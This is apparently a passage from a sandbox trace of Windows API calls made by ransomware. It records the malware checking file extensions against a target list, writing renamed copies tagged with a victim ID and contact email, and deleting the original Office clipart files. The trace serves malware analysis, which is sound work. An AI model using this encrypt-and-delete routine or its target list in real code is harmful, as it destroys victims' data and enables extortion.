	[0206.585] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.585] SetEndOfFile (hFile=0x37c) returned 1
	[0206.586] CloseHandle (hObject=0x37c) returned 1
	[0206.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0206.586] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 1
	[0206.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0206.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0206.587] lstrlenW (lpString=".doc") returned 4
	[0206.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0206.587] lstrlenW (lpString=".docx") returned 5
	[0206.587] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0206.587] lstrlenW (lpString=".pdf") returned 4
	[0206.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0206.587] lstrlenW (lpString=".xls") returned 4
	[0206.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0206.587] lstrlenW (lpString=".xlsx") returned 5
	[0206.587] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0206.587] lstrlenW (lpString=".ppt") returned 4
	[0206.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0206.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0206.587] lstrlenW (lpString=".zip") returned 4
	[0206.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0206.587] lstrlenW (lpString=".rar") returned 4
	[0206.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0206.587] lstrlenW (lpString=".bz2") returned 4
	[0206.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0206.587] lstrlenW (lpString=".7z") returned 3
	[0206.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0206.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0206.587] lstrlenW (lpString=".dbf") returned 4
	[0206.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0206.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0206.587] lstrlenW (lpString=".1cd") returned 4
	[0206.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0206.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0206.587] lstrlenW (lpString=".jpg") returned 4
	[0206.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0206.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0206.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0206.588] lstrlenW (lpString=".doc") returned 4
	[0206.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0206.588] lstrlenW (lpString=".docx") returned 5
	[0206.588] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0206.588] lstrlenW (lpString=".pdf") returned 4
	[0206.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0206.588] lstrlenW (lpString=".xls") returned 4
	[0206.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0206.588] lstrlenW (lpString=".xlsx") returned 5
	[0206.588] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0206.588] lstrlenW (lpString=".ppt") returned 4
	[0206.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0206.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0206.588] lstrlenW (lpString=".zip") returned 4
	[0206.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0206.588] lstrlenW (lpString=".rar") returned 4
	[0206.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0206.588] lstrlenW (lpString=".bz2") returned 4
	[0206.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0206.588] lstrlenW (lpString=".7z") returned 3
	[0206.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0206.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0206.588] lstrlenW (lpString=".dbf") returned 4
	[0206.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0206.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0206.588] lstrlenW (lpString=".1cd") returned 4
	[0206.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0206.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0206.588] lstrlenW (lpString=".jpg") returned 4
	[0206.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0206.589] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0206.589] lstrlenW (lpString="FD00438_.WMF") returned 12
	[0206.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0206.589] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=5098) returned 1
	[0206.589] CloseHandle (hObject=0x37c) returned 1
	[0206.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x220
	[0206.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0206.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0206.589] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.590] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0206.590] GetLastError () returned 0x0
	[0206.590] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x13ea, lpOverlapped=0x0) returned 1
	[0206.591] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0x13f0, lpOverlapped=0x0) returned 1
	[0206.592] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0206.592] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xec, lpOverlapped=0x0) returned 1
	[0206.593] SetEndOfFile (hFile=0x380) returned 1
	[0206.593] CloseHandle (hObject=0x380) returned 1
	[0206.593] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.593] SetEndOfFile (hFile=0x37c) returned 1
	[0206.594] CloseHandle (hObject=0x37c) returned 1
	[0206.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0206.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 1
	[0206.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0206.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0206.595] lstrlenW (lpString=".doc") returned 4
	[0206.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0206.595] lstrlenW (lpString=".docx") returned 5
	[0206.595] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0206.595] lstrlenW (lpString=".pdf") returned 4
	[0206.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0206.595] lstrlenW (lpString=".xls") returned 4
	[0206.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0206.595] lstrlenW (lpString=".xlsx") returned 5
	[0206.595] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0206.595] lstrlenW (lpString=".ppt") returned 4
	[0206.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0206.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0206.595] lstrlenW (lpString=".zip") returned 4
	[0206.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0206.595] lstrlenW (lpString=".rar") returned 4
	[0206.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0206.595] lstrlenW (lpString=".bz2") returned 4
	[0206.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0206.595] lstrlenW (lpString=".7z") returned 3
	[0206.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0206.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0206.596] lstrlenW (lpString=".dbf") returned 4
	[0206.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0206.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0206.596] lstrlenW (lpString=".1cd") returned 4
	[0206.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0206.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0206.596] lstrlenW (lpString=".jpg") returned 4
	[0206.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0206.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0206.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0206.596] lstrlenW (lpString=".doc") returned 4
	[0206.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0206.596] lstrlenW (lpString=".docx") returned 5
	[0206.596] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0206.596] lstrlenW (lpString=".pdf") returned 4
	[0206.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0206.596] lstrlenW (lpString=".xls") returned 4
	[0206.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0206.596] lstrlenW (lpString=".xlsx") returned 5
	[0206.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0206.596] lstrlenW (lpString=".ppt") returned 4
	[0206.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0206.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0206.596] lstrlenW (lpString=".zip") returned 4
	[0206.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0206.596] lstrlenW (lpString=".rar") returned 4
	[0206.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0206.596] lstrlenW (lpString=".bz2") returned 4
	[0206.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0206.596] lstrlenW (lpString=".7z") returned 3
	[0206.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0206.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0206.597] lstrlenW (lpString=".dbf") returned 4
	[0206.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0206.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0206.597] lstrlenW (lpString=".1cd") returned 4
	[0206.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0206.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0206.597] lstrlenW (lpString=".jpg") returned 4
	[0206.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0206.597] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0206.597] lstrlenW (lpString="FD00455_.WMF") returned 12
	[0206.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0206.597] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=8926) returned 1
	[0206.598] CloseHandle (hObject=0x37c) returned 1
	[0206.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x220
	[0206.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0206.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0206.598] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.598] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0206.599] GetLastError () returned 0x0
	[0206.599] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x22de, lpOverlapped=0x0) returned 1
	[0207.011] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0x22e0, lpOverlapped=0x0) returned 1
	[0207.013] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.013] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.013] SetEndOfFile (hFile=0x380) returned 1
	[0207.013] CloseHandle (hObject=0x380) returned 1
	[0207.013] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.013] SetEndOfFile (hFile=0x37c) returned 1
	[0207.014] CloseHandle (hObject=0x37c) returned 1
	[0207.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.014] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 1
	[0207.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0207.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0207.015] lstrlenW (lpString=".doc") returned 4
	[0207.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.015] lstrlenW (lpString=".docx") returned 5
	[0207.015] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.015] lstrlenW (lpString=".pdf") returned 4
	[0207.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.015] lstrlenW (lpString=".xls") returned 4
	[0207.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.015] lstrlenW (lpString=".xlsx") returned 5
	[0207.015] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.015] lstrlenW (lpString=".ppt") returned 4
	[0207.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0207.015] lstrlenW (lpString=".zip") returned 4
	[0207.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.015] lstrlenW (lpString=".rar") returned 4
	[0207.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.016] lstrlenW (lpString=".bz2") returned 4
	[0207.016] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.016] lstrlenW (lpString=".7z") returned 3
	[0207.016] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0207.016] lstrlenW (lpString=".dbf") returned 4
	[0207.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0207.016] lstrlenW (lpString=".1cd") returned 4
	[0207.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0207.016] lstrlenW (lpString=".jpg") returned 4
	[0207.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0207.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0207.016] lstrlenW (lpString=".doc") returned 4
	[0207.016] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.016] lstrlenW (lpString=".docx") returned 5
	[0207.017] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.017] lstrlenW (lpString=".pdf") returned 4
	[0207.017] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.017] lstrlenW (lpString=".xls") returned 4
	[0207.017] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.017] lstrlenW (lpString=".xlsx") returned 5
	[0207.017] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.017] lstrlenW (lpString=".ppt") returned 4
	[0207.017] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0207.017] lstrlenW (lpString=".zip") returned 4
	[0207.017] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.017] lstrlenW (lpString=".rar") returned 4
	[0207.017] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.017] lstrlenW (lpString=".bz2") returned 4
	[0207.017] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.017] lstrlenW (lpString=".7z") returned 3
	[0207.017] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0207.017] lstrlenW (lpString=".dbf") returned 4
	[0207.017] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0207.017] lstrlenW (lpString=".1cd") returned 4
	[0207.017] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0207.017] lstrlenW (lpString=".jpg") returned 4
	[0207.017] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.017] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.017] lstrlenW (lpString="FD01074_.WMF") returned 12
	[0207.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0207.018] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=4634) returned 1
	[0207.018] CloseHandle (hObject=0x37c) returned 1
	[0207.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x220
	[0207.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0207.018] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.018] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0207.019] GetLastError () returned 0x0
	[0207.019] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x121a, lpOverlapped=0x0) returned 1
	[0207.020] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0x1220, lpOverlapped=0x0) returned 1
	[0207.021] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.021] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.021] SetEndOfFile (hFile=0x380) returned 1
